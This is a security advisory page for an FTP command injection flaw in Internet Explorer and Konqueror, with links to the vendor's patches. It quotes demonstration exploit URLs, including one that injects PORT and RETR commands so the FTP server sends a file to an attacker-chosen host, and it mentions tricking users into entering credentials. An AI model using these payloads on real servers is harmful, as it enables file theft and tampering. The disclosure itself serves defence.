Microsoft Internet Explorer Input Validation Error in Processing FTP URLs May Let Remote Users Inject Arbitrary FTP Commands
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SecurityTracker Alert ID: 1012444
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SecurityTracker URL: http://securitytracker.com/id?1012444
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CVE Reference: CVE-2004-1166
(Links to External Site)
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Updated: Aug 8 2006
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Original Entry Date: Dec 7 2004
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Impact: Execution of arbitrary code via network, Host/resource access via network
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Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
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Advisory: Microsoft Security Bulletin
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Version(s): 6
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Description: A vulnerability was reported in Microsoft Internet Explorer in the processing of FTP URLs. A remote user may be able to cause FTP commands to be executed.
A remote user can create a specially crafted FTP URL that, when loaded by the target user, will execute arbitrary FTP commands on
the specified FTP server. The commands can be appended to the URL, separated by the string '%0a'. A demonstration exploit URL
is of the following format:
ftp://ftpuser:ftppass@server/directory%0asomecommand%0a
The target user must first be authenticated
against the FTP server for the exploit to work.
Albert Puigsech Galicia reported this vulnerability.
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Impact: A remote user can create a URL that, when loaded by the target user, may execute arbitrary FTP commands on the specified FTP server.
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Solution: The vendor has issued the following fixes (as part of a cumulative update for IE):
Internet Explorer 5.01 Service Pack 4 on Microsoft
Windows 2000 Service Pack 4:
http://www.microsoft.com/downloads/details.aspx?FamilyId=0DE3F143-19A6-4F22-B53B-B6A7DA33DAF4
Internet
Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4 or on Microsoft Windows XP Service Pack 1:
http://www.microsoft.com/downloads/details.aspx?FamilyId=
B5F17679-3AA5-4D66-A81E-F990FD0B48D2
Internet Explorer 6 for Microsoft Windows XP Service Pack 2:
http://www.microsoft.com/downloads/details.aspx?FamilyId=CDB85BCA-
0C17-44AA-B74E-F01B5392BB31
Internet Explorer 6 for Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack
1:
http://www.microsoft.com/downloads/details.aspx?FamilyId=20288DA2-A308-45C6-BD80-C68C997529BD
Internet Explorer 6 for Microsoft
Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems:
http://www.microsoft.com/downloads/details.aspx?Fam
ilyId=663F1E83-BDC0-4EC6-A263-398E7222C9B5
Internet Explorer 6 for Microsoft Windows Server 2003 x64 Edition:
http://www.microsoft.com/downloads/details.aspx?Family
Id=5C2A23AC-3F2E-4BEC-BE16-4B45B44C6346
Internet Explorer 6 for Microsoft Windows XP Professional x64 Edition:
http://www.microsoft.com/downloads/details.aspx?Famil
yId=0CE7F66D-4D83-4090-A034-9BBE286D96FA
The Microsoft advisory is available at:
http://www.microsoft.com/technet/security/bulletin/ms06-042.mspx
A
restart is required.
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Vendor URL: www.microsoft.com/technet/security/bulletin/ms06-042.mspx (Links to External Site)
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Cause: Access control error, Input validation error
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Underlying OS: Windows (Any)
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Reported By: Albert Puigsech Galicia <ripe@7a69ezine.org>
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Message History:
None.
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Source Message Contents
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Date: Dec 5 2004 9:11AM
From: Albert Puigsech Galicia <ripe@7a69ezine.org>
Subject: 7a69Adv#16 - Konqueror FTP command injection
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- ------------------------------------------------------------------
7a69ezine Advisories 7a69Adv#16
- ------------------------------------------------------------------
http://www.7a69ezine.org [05/12/2004]
- ------------------------------------------------------------------
Title: Konqueror FTP command injection
Author: Albert Puigsech Galicia - <ripe 7a69ezine org>
Software: Konqueror browser
Versions: >= 3.3.1
Remote: yes
Exploit: yes
Severity: Low-Medium
- ------------------------------------------------------------------
I. Introduction.
Konqueror is a very multifuncional HTTP browser included on KDE base package.
Like others browsers it can use more protocols, for example FTP. This
aplication is usualy used to navigate through the filesystems.
II. Description.
In order to access to a server FTP using Internet Explorer you write
"ftp://ftpuser:ftppass@server/directory" in the directions's bar and then the
navigator connects to the server and executes the following commands (and
other that have omitted because they are not important for this stuff).
USER ftpuser
PASS ftppass
CWD /directory/
The security problem resides in which is posible to inject FTP commands on
the URL adding at the code %0a followed by your injected commands. If you do
"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute
those commands.
USER ftpuser
PASS ftppass
CWD /directory
somecommand
The last line is an erroneous command, but it's not a problem because
'somecommand' has already been executed.
III. Exploit
You need to deceive a user to go to your URL and then to introduce a valid
user and password. So yes! The explotation also requires to apply social
engineering. Then you can do a lot of things using this bug like create or
delete files and directories, but probably, the most interesting thing is to
download files. Its posible to do that using this URL;
ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file
Then the server will connect to a.b.c.d and port e,f (see FTP RFC to
translate the port number) and will send the file data.
IV. Patch
Konqueror developers have been contacted, and patch will be avaliable soon.
V. Timeline
01/12/2004 - Bug discovered
02/12/2004 - KDE developers contacted
03/12/2004 - Fast developers reply
03/12/2004 - IE also afected, so we decide to publish the bug
05/12/2004 - Advisor released
VI. Extra data
You can find more 7a69ezine advisories on this following link:
http://www.7a69ezine.org/avisos/propios [spanish info]
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